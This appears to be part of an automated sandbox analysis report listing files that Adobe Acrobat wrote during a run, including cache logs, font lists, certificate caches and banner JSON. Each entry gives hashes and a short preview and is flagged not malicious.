SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Ozs5PT7JxiT82Z:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzsE
MD5:	F3F0BC8971099D85E0F80BBE2AFDDF86
SHA1:	6DC139AA3E259FBD6FDC7AB24F8834CF5E56E4AD
SHA-256:	EA3E8871A696D735A54B01798D84EE3FA1A11D6AF10355FEDA2BA8368FF272CA
SHA-512:	46C77FEE5C813E97005C549A4C16D27BD11B4F484BE214CDE75C9C1897B0CA542E8FB6EE73F56F7F5C46A315B177A3416709FCC566150D85CCD9CFC6A2BFE824
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.257271226534739
Encrypted:	false
SSDEEP:	6:Ph9J+q2PqLTwi2nKuAl9OmbzNMxIFUt82hpZmw+2hvVkwOqLTwi2nKuAl9OmbzNq:Ph9J+v8wZHAa8jFUt82hp/+2hvV5TwZv
MD5:	EFE6A263699F689BEA007E3752C2AED4
SHA1:	4BA230F2D31FCE5A3A19F2DE0B0AAD8DAB15369E
SHA-256:	2666A666A7E795536320DC1523C531E4FA25714905CD68040DB052C3200E42AE
SHA-512:	6E913534C630BEF76530CE83861402A0BDB427B111F528E2C94B3A9C8C7D629DCDC581BAE535486843A5163C228C608FC9ACF622EE6B13BCF028CB5A8FE1F0B1
Malicious:	false
Preview:	2024/09/06-03:53:41.887 1f7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/09/06-03:53:41.889 1f7c Recovering log #3.2024/09/06-03:53:41.906 1f7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.257271226534739
Encrypted:	false
SSDEEP:	6:Ph9J+q2PqLTwi2nKuAl9OmbzNMxIFUt82hpZmw+2hvVkwOqLTwi2nKuAl9OmbzNq:Ph9J+v8wZHAa8jFUt82hp/+2hvV5TwZv
MD5:	EFE6A263699F689BEA007E3752C2AED4
SHA1:	4BA230F2D31FCE5A3A19F2DE0B0AAD8DAB15369E
SHA-256:	2666A666A7E795536320DC1523C531E4FA25714905CD68040DB052C3200E42AE
SHA-512:	6E913534C630BEF76530CE83861402A0BDB427B111F528E2C94B3A9C8C7D629DCDC581BAE535486843A5163C228C608FC9ACF622EE6B13BCF028CB5A8FE1F0B1
Malicious:	false
Preview:	2024/09/06-03:53:41.887 1f7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/09/06-03:53:41.889 1f7c Recovering log #3.2024/09/06-03:53:41.906 1f7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240906075346Z-176.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.4646191975652882
Encrypted:	false
SSDEEP:	96:PnuQl2CTdF/KEjNuBrrmgrrrri4nXF9GD9tmg2B2wURPCRhl4YIESfn6qMe+kVMI:PnPZBBorrfrrrtggfGI2nBrM0EEIN2
MD5:	379FA0E0E0DC1BFC910DD06B4C927D0C
SHA1:	6BC7787DA840219C110A42938A50DCE1DCCE5F71
SHA-256:	95B294F1EAD8C3B5EFC554FC9F9321CC11D12C0DAE5B10B65036F8C8F5C8D049
SHA-512:	D073AFEAF4679AB11037152E15207B441A4AE5C3CB7C57F582E5513936FAF32F66CE380C0EC8539D50C694B175BBB2C67911C86398CC31E489AA7DEEBAE62112
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438717517678962
Encrypted:	false
SSDEEP:	384:ye+ci5GhiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pturVgazUpUTTGt
MD5:	014A445F58AA7BA073EC9D04721DBE08
SHA1:	4A91BAAFD187639E5F75A0BE5A2D318D2A78E6FA
SHA-256:	6799A9D0B8D0292EEDE8E291C79C04BA2385393C0907355FEB7DB0B5800DAEDB
SHA-512:	5985B9654A1AB43121D0EF770483A4C951543D4FB98C0EAC0AB4E54FC72B4ED77F4E3301F01746891C1F6D6E7E5D6EF0E1A49FC5CFF0494479228FE5BAA1C7F3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7691217386844724
Encrypted:	false
SSDEEP:	48:7MnJioyV5sioye5oy1C7oy16oy1YdKOioy1noy1AYoy1Wioy1oioykioyBoy1noL:7AJuWcXXjBiSb9IVXEBodRBkH
MD5:	BB6699F606138D9C6609A64701317D90
SHA1:	469FCDB58C8109E83D5729188E2580AD7A5168B3
SHA-256:	41CA3FAA4869F3107FE4D7502BE4AA6947CEA100C2A9991335CB33FCA5C3F758
SHA-512:	D3CAC50F5F6D96622BCEC14F44DE1BF10E6A963BF57AE2CDBAFDB137EFE606EBC1CE4324C3170D967B43D67BC3B78C37A40269C467BE2D0067C5B8D1D3BA9E82
Malicious:	false
Preview:	.... .c.......^................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.366016576663508
Encrypted:	false
SSDEEP:	24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
MD5:	D4AE187B4574036C2D76B6DF8A8C1A30
SHA1:	B06F409FA14BAB33CBAF4A37811B8740B624D9E5
SHA-256:	A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
SHA-512:	1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
Malicious:	false
Preview:	0..y...H.........j0..f...1.0....H.........N0..J0..2.......D....'..09...@k0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0....H.............0..........P..W..be......,k0.[...}.@......3vI.?!I..N..>H.e...!.e..2....w..{........s.z..2..~..0....8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i.....)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0....H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..\|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2097549127822127
Encrypted:	false
SSDEEP:	6:kKQ9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:zDImsLNkPlE99SNxAhUe/3
MD5:	F11CD916F087F5DCC032B06B3E3C7401
SHA1:	9DF72CFB2FF8C86408A812198E01382422949AFC
SHA-256:	3654F397E870029A7E0603415210202B07C7826526F21BD895ACF5CE773B5C87
SHA-512:	6D1D9C7AD5976BEFFF2E2C40126C7517BF62FD94ECC92037E52FAD557343F1D134622327C8487550AB6B21AB371948A3E3F7BC6A65410EEA11D11CF9821B5922
Malicious:	false
Preview:	p...... ........,"..1...(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	2.988892319473363
Encrypted:	false
SSDEEP:	3:kkFkloClfllXlE/E/KRkzllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB8V7lnklc:kKXClxliBAIdQZV7I7kc3
MD5:	05FBA80556BA58D4E2AC47729F0A6F72
SHA1:	F33B34E186FA0B86BAA0D74F5F58688A0F2FC2EC
SHA-256:	131ACC403A8CDAFB08BC3A201AA905174740BCF7B23842E58544F2A3F896F99F
SHA-512:	9359DE7D5A70B7A858A1995393E4FFF464A6E2E7B8720813C2CF287EDFCF8116C1D5F480A610108C48AD20658126ED415B7FF658D357DBBB774A0F49EE8BCBEA
Malicious:	false
Preview:	p...... ....`....">.1...(....................................................... ........!.M........(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.6.0.7.9.b.8.c.0.9.2.9.c.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7648

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	227002
Entropy (8bit):	3.392780893644728
Encrypted:	false
SSDEEP:	1536:WKPC4iyzDtrh1cK3XEiv07VK/3AYvYwgF/rRoL+sn:DPCaL/3AYvYwglFoL+sn
MD5:	11F2FC7F8C64BEAE994575ECEF93CFFF
SHA1:	75014E1BF55814F00BDD25BB8D290A2FFE881A3A
SHA-256:	962CBFB11B6666C900037518E4F69ACA3B2633A3A522D2BFB830A4868EA366CB
SHA-512:	ECE2F0B04DB5A01316ED75FFD2AB381EC035636B758A20E58C355AEEB4E5032102A279EB97FBC0CC8617BCC47DBF7ECBB3BE15994342CC5B56B4C56999956975
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.333007406894071
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDciHsAR5pYmSg1c2LjcWkHvR0YQqoAvJM3g98kUwPeUkwRe9:YvXKXTMAR5BT5LjIP0ZGMbLUkee9
MD5:	4C447BE361CED3F8E3A52A165683AF9F
SHA1:	84089C16A34AE6A8C37E20DD091F1D26B5341E89
SHA-256:	BE7DCA4F5DAD3AB4F1B54A5DDD685935FBD8CF9188B72AB94BD7EA17B16FE319
SHA-512:	051E6BFEA098C40D0D6576E1D1C1F7594103C4CD3B31BE6827825854E362D66B1EA9CD3A972E8B3C33A1ADC91E432C708CC5984B7F336E737BB80AB427D185C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.281463114599979
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDciHsAR5pYmSg1c2LjcWkHvR0YQqoAvJfBoTfXpnrPeUkwRe9:YvXKXTMAR5BT5LjIP0ZGWTfXcUkee9
MD5:	FF39400AD91734FF898D679D81A519E0
SHA1:	79FD1F3AAF41D3D6282C16713A72FFE8FFCEBAB9
SHA-256:	13DD83D20D18F126FDC2D15897660E5506AA41201EE41C4BC3E235FDD0E5BA76
SHA-512:	EC5D25D8260BBF5107D2EEEF91A209EC9A6AD10B156F392549CD8B972EB1F17CC06F52CBC8E427D08E0F51DF3C3CE06108802C36C607632A6308FA737A887B12
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.260284189645578
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDciHsAR5pYmSg1c2LjcWkHvR0YQqoAvJfBD2G6UpnrPeUkwRe9:YvXKXTMAR5BT5LjIP0ZGR22cUkee9
MD5:	C97FD01EBF6553DDB4918B60BD6DECCE
SHA1:	7DF82BDADF851CE634389249101F77BBB9A50C99
SHA-256:	6F7156D16C4D603E4D18DA21D2D85A5AB2ED627CE42A777CD740277872DE54A4
SHA-512:	D814BF1C9057E1A209EE9318BF76E8E259575D2B44E1143F04AF551351E1623CFE0EEA2C58728AD62CDF6E5589AE516CF145FA85ABD4F3090B4E3348A63301BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.312944317367791
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDciHsAR5pYmSg1c2LjcWkHvR0YQqoAvJfPmwrPeUkwRe9:YvXKXTMAR5BT5LjIP0ZGH56Ukee9
MD5:	391229E53D4D4D5DD07E35417309E6E0
SHA1:	54A23A5F0544F388F9DDF78DD6DE4A280FF02F9B
SHA-256:	C91A75BEE806CF2688B1FD1B484A7219F41C75738415FAAA008B19EDA279CE6D
SHA-512:	6AE722AFF94657EE3B085C5CE15477CC609FF531B806412981D094B1E8A3F4DB0FCA69A9194355A628A8EA0C4E2DDEA55B23FF7AC0D5714D3EA1C4B017E37FAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	5.673044364468584
Encrypted:	false
SSDEEP:	24:Yv6XTM+5BT5XIs+pLgEFqciGennl0RCmK8czOCY4w27A:Yvp+57XchgLtaAh8cvYv3
MD5:	4B2CC0E01D6E26AD0E2B52BDCE41F5B7
SHA1:	48F2A5AABBECF21D8EDC5FEB87E1A65BA81F4CAE
SHA-256:	710BBE3D08CE3972DB05BCEC22959CFA184669B700E5ED4E4DE57167DE2C1FC4
SHA-512:	A6A77A85C5A16D5E5B72663F3E94C6DA6D245358B6404AE9936DD3554ECBA6B55B1CBF6411AC623D105AD2CFB30BB9493D551981A3EE98DDB3BF61F2DA16288F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_2","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"afb9c2a3-eaf4-41f9-9d73-768e72f72282","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQgZmlsZXMgdG8gYW5kIGZyb20gUERGXG53aXRob3V0IGxpbWl0cy4ifSwidGNhdElkIjpudWxsfQ==","dataType":"application\/json","encodingSc

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.663247393743027
Encrypted:	false
SSDEEP:	24:Yv6XTM+5BT5XIsoVLgEF0c7sbnl0RCmK8czOCYHflEpwiV7A:Yvp+57XWFg6sGAh8cvYHWpwd
MD5:	66A86D59F9FC9065610290208CE4CFAE
SHA1:	26275F142D678904D282814E804448312098FA2F
SHA-256:	EFE70DFB181CD830B209A5061B3419928C08B930014AFC6F01CC8DD5FEF028F2
SHA-512:	FA92F915A6B3DA0700DC499AE4105F3E9A92784BF3B0583E74FA75269B53F8A5F941B4977D21F4D78FBAE41566480E6D3538DA820B1F8D469CFCE4B71600A531
Malicious:	false
